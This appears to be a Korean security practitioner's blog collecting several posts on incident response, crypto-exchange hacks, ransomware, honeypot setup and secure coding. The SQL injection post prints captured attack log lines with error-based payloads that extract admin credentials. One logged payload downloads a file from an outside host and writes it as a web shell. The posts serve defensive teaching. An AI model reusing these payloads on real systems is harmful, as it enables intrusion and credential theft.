1. github활용

   https://www.theregister.co.uk/2018/11/26/npm_repo_bitcoin_stealer/

 nodejs 자바스크립트이 경우 난독화가 편하다. 그래서 악성코드 바이너를 집어넣고 난독화 해버리는 경우도 있다. Drive by Download가 된다.

 

 그리고 또 암호화폐 wallet소스라고 하고 코인전송하면 보여자는 주소는 받는 사람 주소인데 전송하면 해커의주소로만 전송 된다던지

아니면 Account를 생성하면 Private Key를 생성하면 바로 해커의 서버로 전송 되게도 구현할수 있다. 이경우 사용자가 많아진뒤 나중에 훔쳐갈수 있다.

 

 

2. 피싱 활용

해외에 ip차단 서비스를 네이버에 신청했는데 피싱으로 저런 메일이 왔다. 변경하기 들어가면 해커카 해킹한 사이트가 있었다.

 

Myetherwallet을 사칭하는 메일도 많다.

에어드랍이나 ,,,, 당신의 지갑이 해킹당했다는 메일도 자주 온다.

요즘 사회공학적인 방법이나 저런 피싱류 메일은 사람들이 잘 안속는다.

 

네이버의 경우도 모든 사이트가 https로 구현되어 있다.

인터넷뱅킹을 PC로 하더라도 https로 구현된 부분과 전자인증서를 확인하는 버릇을 들이는게 좋다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

블로그 이미지

iesay

,

최근 암호화폐 거래소의 해킹 사고가 많이 발생 되고 있다.

코인레일이 해킹 되었고  오늘 빗썸이 해킹 되었다.

암호화폐 거래소의 구조에 대해서 조금 설명을 하겠다.

 

hot wallet과 cold wallet 차이를 우선 설명하자면

hot wallet : 온라인 네트워크 상태 (채굴자들에게 주소로 입금을 받고 원화 입금자들이 다른거래소로 이동시 필요한 평균적인 코인량)

 

cold wallet : 네트워크와 불리된 형태 ( 멀티 시그, 나노렛저 트레저 등 )

 

은행에 1000억의 장부가가 있고 금고에 100억이 있다면  물리적인 방법으로는 도둑은 100억을 털어 갈수 밖에 없다.

 

거래소에 1000억이 cold wallet로 금고에 보관되고 있다면 해커는 100억의 hot wallet만 털어갈수 밖에 없다.

 

 

1] 게임해서 고가의 아이템이 해킹을 당 했다.

   게임사에  찾아가서 본인인증 하고 해킹당한 정황을 설명하면

   DB값만 다시 바꾸면 복원이 된다.

2]  삼성증권과 같이 증권을 누가 해킹했다. D+2 예탁원에서 미수금 조회해서

    되돌릴수 있다.

3] 인터넷 뱅킹에서 피싱이나 파밍 공격을 당했다.

   대포계좌도 실명인증 및 재직증명서로  인증한 계좌라 점점 줄어 들고 있고

  입금 후 30분 뒤에나 ATM에서 출금이 가능하다. 해외 송금도 쉽지 않다.

4] 메인넷의 프로토콜 취약점도 존재한다.

    pow방식이 51%공격을 당한 비트코인골드

    합의 알고리즘 취약점으로 이중지불이 된 버지

   스마트컨트렉 버그로 추가 발행이 된 smt

 

보이스피싱도 어느 정도 대응할 시간이 있다는것이다.

블록체인상에서는 이모든것이 불가능하다 그래서  굉장히 취약한 구조라는걸

인정 해야 된다.

 

블록체인 상에서 유일하게 할수 있는 부분

1]스마트컨트렉 권한으로 해커 계좌를 lock걸수 있다.

 추가 발행하여 투자자의 피해를 최소한으로 줄일수 있다.

2] hard fork를 통해서 롤백할수 있다. (이더리움, 이클 나눠진 계기)

3] 이오스 BP 찬성하에 트랜젝션 삭제

이 3개의 조건이 모두 decentralize 탈중앙화에 위배되고 블록체인의 신뢰성도를

떨어 지게 한다.

하지만 돈 빼갈때는 또 탈중앙화의 성격도 가지고 있다?!

 

결국 블록체인 자체가 굉장히 취약한 구조로 되어 있고

해킹에 취약한 부분을 인정해야 된다.

 

인터넷뱅킹과 암호화폐의 차이는 무엇인가?

기술적인 관점으로 개인키로 전자서명해서  PKI기반으로 트랜잭션을 인증해서 푸는것도 비슷하다.

 

1] 인터넷 뱅킹은 실명 인증된 개인키다. (한국정보인증, 한국전자인증)

    블록체인은 그냥 계좌 다  노드에 명령어 치면 만들어 진다.

 

2] 외부 접근이 용이하다. 거래소는 언제나 전자지갑 입출금을 만들때마다

최상단  방화벽을 열여야 된다.  풀 노든 외부와의 통신이 필요하다

( 해커의 출입문이 될수 있다) 

열러있는 대문이 아주많은거다 .,

은행은 내무방과 외부망이 통하는 출입문 포인트만 지키면 된다.

 

3] 24시간 돌아간다.

   사람이 보안관제 든 시스템관제 든 정규직 직원도 계속 상주 시킬수 없다.

    새벽이나 밤시간에 취약할수 밖에 없는 구조다

   24시간이 돌아가니 트래픽이 엄청 많다.  분석 해야될 양이 어마 어마 하다.

 

 

한마디로 요약하면 블록체인은 탈중앙화도 아니고 해킹에 취약한 구조다.

그리고 이번 거래소 두 거래소 해킹 사건은 보안에 투자를 안한 회사들은 아니다.

보안에 투자 안했으면 털려도 진작에 털렸다.

 

하루에 수천액 거래 되는데 털려도 진작에 털렸을거라는게 나의 결론이다.

투자 하였는데 털리면 그때는 원인을 찾기가 굉장히 힘들어 진다.

 

한번은 정말 털러야 되지 않을 정보가 털려서 2주동안 조사한적도 있다

그뒤 이행점검을 하고 수정 보안할 부분을 수정 하였는데 2달뒤에 또 해킹을

당하였다

그만큼 방어가 불리하기도 하다.

 

추적도 힘들다 ...

뉴이코도  여려개의 계좌로 분산으로 이체 후

토르 브라우저    딥웹 다크웹에서

p2p 형태로 아주 싸게 거래 하였다.

 

토르 브라우저는 기본적으로 vpn을 3번 통해서 통신되고 악성코드가 아주 난무하여

해커들의 놀이터이다.

 

우리의 온라인 웹보다 정보가 수십배나 많다고 한다.

 

 

 

서비스 중인 상황에서 어떻게 들어왔는지 참 답답하기도 한 부분이고,,

이번 빗썸해킹사건은 코인레일건과는 조금 다르다고 본다.

 

악성코드로 PC로 접근해도 서버권한까지 탈취하기는 쉽지 않다.

그래서 먼가  제로데이 프로토콜 취약점도 의심된다.

 

악성코드 50%  제로데이 프로토콜 취약점 50% 정도로 본다 .

만약 후자가 원인이라면 ,,, 바이넨스든 업비트든 안심할수 없다.

 

최근 커뮤티에 한분도 이오스 버그 바운티 신고해서 1000불을 받았다고 한다.

블록체인은 버그가 많다.  스마트컨트렉이든 코어엔진이등 다양하다.

 

해커들이 제로데이 찾아 놓고 공개를 할까?

그냥 웃지요다 ㅎㅎ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

블로그 이미지

iesay

,

주로 공격이 대상이 될수 있는 PC, 서버, 모바일의 관점에서 설명 하겠다.

 

사용자 PC

- Activex Heap spray 취약점을 통한 Drive By Download(워터홀링 공격 포함)

- 악성코드 첨부파일로 배포 hwp, doc, exe, 바탕화면 바로가기, 토렌토 

- smb 형태의 시스템 취약점을 통한 감염

 

서버

- OWASP 취약점을 통한 웹해킹

- apache struct2나 smb형태의 시스템 해킹

 

안드로이드 모바일

-  취약점을 통한 Drive By Download

- APK모듈을 통한 악성코드 배포

- 루틴

 

제로데이에 대한 공격은 막히 힘들고

주기적인 업데이트, 시큐어코딩, 사용자 교육, 보안솔루션 운용 등으로 대응을 해야 되눈 부분이다.

블로그 이미지

iesay

,

저 상황도 실제로 서버가 있는 폐쇄망에 랜섬웨어가 감염된 상황이다.

지인이 요청이 와서 도움을 줄려구 했는데 랜섬웨어가 감염되어 버리고 만것이다.

 

DMZ영역을 두고 웹서비스를 하는게 아닌 환경은 순수 내부 시스템이라고 하였다.

 

다음주 정부 감사를 위해 폐쇄망에서  OS, 백신 업데이트를  위해 인터넷 외부망을 물렸다고 한다.

 

소규모다 보니 구축도 제대로 안되어 있고, SMB취약점에 대해서 모르니

 

 외부망을 활성화 시키고, 심지어 폐쇄망에서 서버간의 소켓 통신하던 프로그램로

 인해 윈도우 방화벽도 설정 해제 상태 였다고 한다.

 

(웹서비스를 하지 않는 순수 페쇄망에서 어딜가나 보안 정책은 널널하게 한다. 인터넷도 안되는데 누가 들어 오겠어 하는 생각)

 

 

1] 가장 궁금한 부분은  SMB 감염 속도?

  약 하루정도 오픈 하였을뿐인데 이렇게 웜?? 형태로 감염되는게 본인은 이해가

 되지 않는다고 한다.

과거 IIS유니코드 버그의 코드레드 코드블루 님다 웜 경우는 윈도우2000서버를

 설치하면 바로 감염 되었다.  웜 형태는 자기 복제를 하여 대역대를 스캔 한다지만

SMB는 웜 형태는 아닌 랜섬웨어 제작자가 스캐닝을 하는 형태일 것이다.

물론 좀비PC를 많이 활용은 할것이다.

 

 

2] 백신의 효과성?

 

특정회사 제품의 사진을 올려놓고 게시물을 작성하는게 좀 걸리지만,,

 다른 회사들도 다 해당되는거 같다, 외산 국산 할거 없이 정말 얼마나 효과성이

 

있는지 의문 스럽다.

 

 이 부분은 공격자가 당연히 여러 테스트를 통해 우회 할수 있는 입장도 이해는 간다.

 

그리고 백신 업데이트시기와 SMB감염시기 중 우선순위에 따라서 충분히 감염된다고 이해는 된다.

 

 

3] 가장 이해가 되지 않는 부분인데 인터넷망을 각 서버마다 시간을 번가라가며  

 나누어서 물렸다고 하던데 잠복기를 거치고 두번째 물렸을때 랜섬웨어가 실제

 실행이 되었다고 한다.

 데이터가 커서(테라 단위) 다 될때 까지 기다린건가 하는 생각도 든다.

이 부분도 좀 이해가 되지 않는다.

 

그 잠복기 동안 좀 이상한 증상이 있었고, 데이터를 백업 할려구 보니 테라 단위

데이터라서 도저히 어떻게 해볼 도리가 없었다고 한다.

 

다음주에 정부에서 감사가 나온다던데,,랜섬웨어가 사람 여럿 잡는 구나 생각 든다.

담당자는 감사 전 늘 하듯이 똑같이 한것이다.

(그놈의 가이드 대로 폐쇄망도 백신과 OS , APP를 꼭 최신으로 유지하라고 되어 있다)

그러나 이번에는 그 상황이 많이 다른 환경이 되어 버린것이다.

 

그대로 두고 업데이트를 안했으면 감염이 안되었을텐데 하는 생각도 든다.


사고는 모든 우연이 다 맞아 떨어져야 된다.

담당자의 역량 부족 무관심이 가장 큰 원인이고, 방화벽 정책 설정 미흡 ,

VMS PMS 미구축


이중 하나라도 조건이 충족 되었으면 랜섬웨어 감염은 발생되지 않았을 수도 있다.

블로그 이미지

iesay

,

이론적으로 허니팟을 만드는 아주 다양한 방법이 존재 한다. 그런 관련 논문도 수도 없이 본거 같다. 요즘 라즈베이파이나 미니PC같은 저 전력 저 비용으로도 구현을 하는거 같다.

허니팟은 일명 꿀단지다. 취약한 서버를 구축해놓고 공격자들의 행위나 패턴을 분석한다. 그럼 도대체 어떻게 구축해야 되나? 의문이 생길것이다.

침해사고 발생 유형은 3가지 정도로 본다. 자동화 도구에 의한 침투, 해커가 수동으로 행위 발생 후 침투, PC 침투 후 서버 침투

PC단은 RAT툴 같은 종류에 감염되어야 되고 서버팜 전체를 구축해야 되는 부분도 있어서 좀 힘들고, 해커가 수동으로 행위를 발생시키는 부분도 홈페이지나 DB도 그럴싸 하게 구축해야 된다.

그래서 우리는 가장 취약한 자동화 도구에 의한 침투를 구축해볼것이다.  자동화 도구는 python같은 스크립트로 멀티 쓰레드로 구현하여 IP대역대로 공격 패킷을 던진 뒤 응답 코드를 보고 판단하는 것이다.

최근 침해사고 대응협의회가서 다른 섹션은 다 못들었지만 워터홀 공격(Drive by Download), APT, 랜섬웨어에 대한 기술적 감염방식 솔루션 소개가 대부분이 였다.

랜섬웨어와 같은 워터홀 공격을 위해서는 경유지가 엄청나게 필요하다. 배포IP가 공유되면 바로 차단되기 때문이다. 그런 경우지와 유포지를 찾기 위해서 자동화 점검도구로 서버를 스캔한다.

서버에 저장된 정보보다는 2차적 행위를 위한 서버의 리소스를 먹는게요즘 추세이다. 악성코드 배포, 비트코인 체굴, DDoS Agent 등 여러가지 2차 적인 행위가 가능하다.

실제 구축은 어떻게 하면 되나? 침해사고 발생 유형별로 졸라 취약하게 만들어 놓으면 된다.

1] ssh, telnet 외부 오픈 후 쉬운계정 접속가능 (root / 1234) (oracle/oracle)

2] sendmail 구축 후 릴레이 정책 미적용

3] 워드프레스, Apache Struct, Fckediter, 제로보드 등 리모트 취약점에 취약한 구버전 구축

4] 관리자 페이지 외부 오픈 기본 패스워드 사용 tomcat, weblogic, phpmyadmin (oracle /   welcome1)

5] sql injection도 웹방화벽이나 웹로그에 오토의 흔적들이 보인다. 그런 유형에 당하도록  구축

6] 공유기나 허브 외부접근 가능 기본 패스워드 사용 (admin/ admin)

저렇게 구축한 뒤 떡밥을 기다리면 된다. 저런류를 개별적으로 다 따라 구축해 놓고, 관련 연구자료나 논문으로 사용도 가능하다.

꼭 이글 보고 그대로 따라하는 얼척은 없길 바란다. 허니팟 구축 방법이지 해킹하는 방법이 아니다. 자기가 한 행동에는 자기가 책임을 져야 된다.

 

블로그 이미지

iesay

,

취약한 코딩 Statement

Statement stmt = conn.createStatement();
ResultSet rs =  stmt.executeQuery("select count(*) as cnt from member where userid='"+userid+"' and password='"+password+"'");


시큐어 코딩 Prepared Statement

PreparedStatement stmt = conn.prepareStatement("select count(*) from member where userid=? and password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

잘못된 시큐어 코딩 Prepared Statement

PreparedStatement stmt =  conn.prepareStatement("select count(*) from member where userid='" + userid + "'" and password='" + password + "'");

 

PreparedStatement  사용하면 메모리에서 파라메터가 바인딩 될때 실행이 되지 않게 ''감싸지게 되는데 +로 저렇게 구현하면 물음표(?)가 아니라서 감싸지지 않는다.

sql injection 공격은 한번에 성공 시키기가 힘들다. 테이블명과 칼럼명을 에러코드를 보고 유추 해야 된다. 그래서 해당 취약점으로 침해사고 발생시 http error code 500을 검색 하면 된다.

 

2013-05-31 07:09:28 211.x.x.x GET /brand/notice/notice_view.asp seq=21%20and%20(select%20top%201%20isnull(cast([adminid]%20as%20nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([passwd]%20as%20nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]%20as%20nvarchar(4000)),char(32))%20from%20targetdomain_web..lpc_admin%20where%201=1%20and%20adminid%20not%20in%20(select%20top%203%20adminid%20from%20targetdomain_web..lpc_admin%20where%201=1%20group%20by%20adminid))%3E0%20and%201%3C2|108|80040e07|nvarchar_값_'superadmin^superadmin^최상위_관리자'을(를)_데이터_형식_int(으)로_변환하지_못했습니다. 80 - 114.207.246.162 500 0 0 115
2013-05-31 07:09:29 211.x.x.x GET /brand/notice/notice_view.asp seq=21%20and%20(select%20top%201%20isnull(cast([adminid]%20as%20nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([passwd]%20as%20nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]%20as%20nvarchar(4000)),char(32))%20from%20targetdomain_web..lpc_admin%20where%201=1%20and%20adminid%20not%20in%20(select%20top%204%20adminid%20from%20targetdomain_web..lpc_admin%20where%201=1%20group%20by%20adminid))%3E0%20and%201%3C2|108|80040e07|nvarchar_값_'test^123456^_'을(를)_데이터_형식_int(으)로_변환하지_못했습니다. 80 - 114.207.246.162 500 0 0 117
2013-05-31 07:09:29 211.x.x.x GET /brand/notice/notice_view.asp seq=21%20and%20(select%20top%201%20isnull(cast([adminid]%20as%20nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([passwd]%20as%20nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]%20as%20nvarchar(4000)),char(32))%20from%20targetdomain_web..lpc_admin%20where%201=1%20and%20adminid%20not%20in%20(select%20top%205%20adminid%20from%20targetdomain_web..lpc_admin%20where%201=1%20group%20by%20adminid))%3E0%20and%201%3C2|108|80040e07|nvarchar_값_'wonny0125^wonny0125^임원근'을(를)_데이터_형식_int(으)로_변환하지_못했습니다. 80 - 114.207.246.162 500 0 0 113
2013-05-31 07:06:15 211.x.x.x GET /brand/notice/notice_view.asp seq=21%20;declare%20@b%20varbinary(8000),@hr%20int,@http%20int,@down%20int%20exec%20sp_oacreate%20[microsoft.xmlhttp],@http%20output%20exec%20@hr%20=%20sp_oamethod%20@http,[open],null,[get],[http://sms.garosu.com/i/i/db.txt],0%20exec%20@hr%20=%20sp_oamethod%20@http,[send],null%20exec%20@hr=sp_oagetproperty%20@http,[responsebody],@b%20output%20exec%20@hr=sp_oacreate%20[adodb.stream],@down%20output%20exec%20@hr=sp_oasetproperty%20@down,[type],1%20exec%20@hr=sp_oasetproperty%20@down,[mode],3%20exec%20@hr=sp_oamethod%20@down,[open],null%20exec%20@hr=sp_oamethod%20@down,[write],null,@b%20exec%20@hr=sp_oamethod%20@down,[savetofile],null,[d:%5Cweb%5Cweb_targetdomain2011%5Cdp.asp],1%20;-- 80 - 114.207.246.162 200 0 0 344

 


 

 

블로그 이미지

iesay

,

개인정보 유출 점검에 적발 되어서 사건 하나가 이관되었다. 현장 점검을 나가게되었다. 대상은 실제 개발중인 홈페이지 였는데 모바일 홈페이지를 추가하는 과정에 실수를 범한 모양 있다. 유출된 시스템 IDC에서 다 개발을 진행중인데 실수로 홈페이지에 robots.txt도 없는 상황이고, C Class 대역대 IP를 외부에 오픈한 상황이였다.

만약 서버가 내부에 위치하고 와이파이로 접속을 하고 테스트를 하였다면 이런 문제가 발생되지 않았을 수도 있다.

과거 몇년 전에 ISMS인증 대상을 받은곳이기도 하였으나 그 후 관리가 되지 않았고, 담당자가 바뀌는 등 전문 지식이 좀 많이 미흡한 상태였다. 최초 디렉토리 나열이 발생되어 개인정보가 유출 사고가 발생 되었어도 제거해야될 indexs의 위치를 찾지를 못해 서비스를 중지 시켰다고 한다.

1시간 정도 통화와 설득 끝에 우리가 현장 점검을 나가기 전 취약점 점검을 해야되니 오픈을 해달라고 요청하였고, 디렉토리 나열이 조치가 아직 안된거를 알고 환경을 물어보니 윈도우 서버에 Apache를 구동중이라고 한다 그래서 VirtureHost쪽 계정별에서도 설정이 가능하니 찾아 보라고 했다. 그래서 조치를 완료 했는데 구글 캐쉬는 삭제 신청을 해놓았다고 한다. 본인들 담당하는 입장에서는 굉장히 억울할수도 있겠고, 어설프게 알고 진행한것이 가장 큰 문제점이다.

robots.txt도 충분히 디렉토리별 관리가 가능하고, 외부 유출된 첨부 파일을 모아둔 디렉토리도 필터기능이나 아니면 세션관리를 통해 개별적인 세션이 없으면 접근을 못하게 하였어야 한다.

그리고 또 하나 놀라웠던 사실이 대표홈페이지에 sql injection이 있었는데 ISMS인증 심사시에도 발견 되었는데 발견된 부분만 조치하고, 특수문자만 필터링 하였다고 한다. 근본적인 해결법인 PreparedStatement를 사용하지 않고 땜빵적으로 조치한것도 가장 크다.

그리고 신규 오픈한 홈페이지에 대해서 워드프레스를 사용중인것에 대해 플러그인들에 대한 취약점 점검을 실사 하라고 하였다. 그리고 얼마 후 이행점검을 위해 둘러 보는중 robots.txt는 홍보를 위해서 계속 사용해야 된다고 한다. 디렉토리 별로 권한 설정이 가능하다고 하여도 별로 고칠 생각이 없나 보다.

 

'침해사고' 카테고리의 다른 글

WannaCrptor 랜섬웨어 침해사고  (0) 2017.06.21
허니팟(Honey Pot) 만드는 방법  (0) 2015.12.05
sql injection 취약점 공격 로그  (0) 2015.11.09
인증 및 세션 관리 취약점  (0) 2015.11.09
Apache Struts 취약점  (0) 2015.11.09
블로그 이미지

iesay

,

몇달 전 전산담당자로 부터 자문을 구해온적이 있었다. 메일 서버가 2년 동안 무작위로 1%정도 계정이 스펨메일로 활용 된다는 정황이 있다는 것이다. 보유한 메일 계정은 2~3만개 정도라고 한다. 그 계정이 실제 메일서버에서 발송된 것이고, 패스워드 길이도 9자리 이상에 특수문자를 포함하여 길다고 하는것이다. 그 메일이 외부에도 아웃룩이 오픈되어 있는 상황이였다. 메일 서버에 루트킷이 설치되어있을 가능성이 있어서 서버를 포멧하고 재설치 하라고 권고를 하였다.

몇달 뒤 포멧을 하고, 재설치를 해도 동일한 현상이 발생 된다고 문의가 온것이다. 웹메일 엔지니어가 와도 원인도 못찾고, 릴레이 정책도 다 적용이 되어 있다고 한다. 아는형에게 자문을 구하니 Cain & Abel같은 Arp스푸핑이 아닌가 한다. 부서에서는 악성코드일지 모른다고 한다.
Arp 스푸핑이면 smime일텐데 허가되지 않는 인증서라고 계속 뜰것이다. 해킹 당한 사람 이야기로는 그런것이 전혀 없었다고 한다. 공유기나 게이트웨이에서 AP라도 잘 찾아 보라고 이야기는 했다.

그리고 해킹 당한 사람들 중 한두명만 악성코드가 발견되었고, PC포멧해도 그런 증상이 발생 되었다고 한다. 해당 악성코드나 루트킷이 2년동안 활동 할러면 백신에 탐지가 안되는 제로데이 악성코드가 내부 인트라넷 같은 곳에서 배포 된다는 것인데 2년동안? 그정도로 정교한 악성코드라면 APT형태의 공격이라면 자료유출이 목적일텐데 왜 스펨메일 유포지로? 이건 말도 안되는거 같다.
스펨메일 유포지로 쓴다는 것은  "나를 찾아주세요~" 밖에 안되는것이다. 나도 기억에 잊혀진 뒤 얼마전에 통화를 하다 갑자기 생각나서 그때 그 부분 해결한지 물어보니 SMTP AUTH Brute Force Attacks이였다고 한다. SMTP로그에 엄청나게 쌓여 있었다고, 그리고 해당 정책을 강하게 적용한 뒤에는 발생을 하지 않는다고 한다.
담당자의 문제인가? 웹메일 엔지니어의 문제인가? 아님 잘못 찍은 나의 문제인가? OWASP에서는 세션 예측이 언제나 상위 항목인데 웹에서만 발생되는게 아닌가 하는 생각도 들었고, 해당 방법으로 사고접수 된것도 본적도 없다. 실제로는 아는동생이 시현하는거 말고는 본적도 없으니 실제로 격어 보니 당황 스럽긴하다. 유저가 많으면 접속중인 세션도 많고 Brute Force Attacks도 잘 맞아 떨어지나 보다.

 

또 다른 하나의 사례는 여러가지 시스템 중 SSO를 잘못 구축한 경우다. SSO를 구축할려면 첫째 DB가 통합 되어야 된다. 다른 방법도 있지만 통합 DB로 구축하는게 편하다. 둘째 로그인을 하는 모든 시스템을 대상으로 해야된다. 셋째 통합 로그인으로 로그인을 하게 되어야 된다. 넷째 기존 로그인의 로직을 과감히 버러야 된다.

SSO솔루션을 구버전, 신버전으로 두개를 사용 한다던지, 통합이 어려워 얄팍한 기술을 사용하다가는 큰 사고로 발생되는 경우가 많다.

문제는 기존로그인을 과감히 버리지 못하는 점 A사이트에 개인정보가 10만이고 B사이트에 5만이라면 다수의 정보로 가야되고 B사이트 사용자중 A사이트에 없는분들은 재가입을 권고 해야 된다. 물론 그전에 중복 가입된 사람도 개인정보 동의를 받아서 기록을 남겨야 된다.

SSO를 구축해도 컨트롤이 안되면 정말 큰 사고가 발생될수도 있다. 관리자의 실수로 정말 통합하기 어려운 곳을 통합해 달라고 요청이 와서 업체에서 대충 Get Parameter로 ID값을 암호화하여 넘기던지 하면 정말 큰 사고가 발생된다.

구지 저렇게 한다면 SSO을 하는게 가장 좋게 그게 힘들다면 공용 DB를 만들어서 DB세션을 쓰는게 바람직하다.

실제로 침해사고로 발생되어 언론에 나온 사례도 있다. 데이타 조작이 되었고, 관련자들의 처벌을 원하지 않아서 처벌이 되지 않은 경우다.

 

블로그 이미지

iesay

,

침해사고를 분석하고 대응 할때 마다 느끼지만 사회 공학적인 해커의 심리적 유형도 파학해야 될 필요성도 느낀다. 발생 원인을 찾지 못한다고, 웹해킹의 경우 제로데이 공격이라고 생각 하지마라 리모트 제로데이 공격으로 침해사고가 발생된 경우는 난 한번도 본적이 없다.언제나 가장 기본적인 실수로 인해 뚫리는게 대부분이다. 이번 경우는 공격자가 해당 취약점으로 웹쉘을 업로드 한 뒤 탐지되어 대응 되었다. 탐지 패턴 기준으로 하면 총 3번의 기준이 있다.

[Apache Struts 공격 ->웹쉘 -> 유닉스 명령어] 으로 탐지가 가능하다. 사고가 발생 되는것 보다 어떻게 조치하고, 어떻게 대응 하는 것이 더욱 더 중요한부분이다. 가장 잘못 생각 하는것들 중 하나가 웹서버 만 해킹 당한거면 DB는 안전하다는 생각이다.Apache만 권한이 획득당한 경우만 그럴것이다. 하지만 그런 경우는 거의 없고 파일 업로드나 sqli도 그렇고 웹쉘은 WAS단에서 올라가고 처리된다. 서블릿 컨테이너라서 실제로 웹서버에 업로드가 된다고 해도

WAS단에서 그 명령어를 처리 한다. jdbc connection이나 was db pool을 이용해서 충분히 DB에 접근이 가능하다. 그래서 웹쉘이 업로드 되고 탐지를 못하고 시간이 지났다면 개인정보는 다 털렸다고 보는게 맞다.   

[그림 1-1]

공격 받은 대상은 앞단에 Apache를 두고, WAS는 Weblogic을 쓰는 환경이 였는데 해당 IPS에서 Apache Struts 관련 공격이 있었는것이 탐지 되었다.

 

[그림 1-2]

위 사진은 해당 공격에 대한 실제 탐지 코드다. 'action:', 'redirect:'같은 매개변수에서 특정 구문을

전달 하는 과정에서 입력값 검증을 하지 않아 발생 된다.

침해사고는 언제든지 발생될수 있다. 하지만 대응에 대한 부분이다. 원인을 빨리 분석해서 업로드 중인 웹쉘을 제거하고 해당 공격에 대한 패치를 해야되는 부분이고, 웹방화벽이나 IPS에 공격 패턴을 등록해서 탐지 및 차단을 하도록 해야된다. 시스템 상의 백도어나 커널 루트킷에 대한 부분도 점검을 하는것도 좋다. 인간은 완벽할수는 없다. 엄청나고 복잡한 시스템들을 어떻게 효율적으로 관리 해야될지에 대한 프로세스와 담당자의 역량이 가장 중요한 부분이다. 대형 포탈이나 사고가 발생한곳들도 보안담당자들이 못해서 그런것이 아니다.

언제나 100억치 솔루션보다는 1억치 실력있는 보안담당자가 낫고 그것 보다 실제 임직원의 보안 마인드를 개선하는것이 더욱 더 보안사고를 줄일수 있는 부분이다.

 


 

블로그 이미지

iesay

,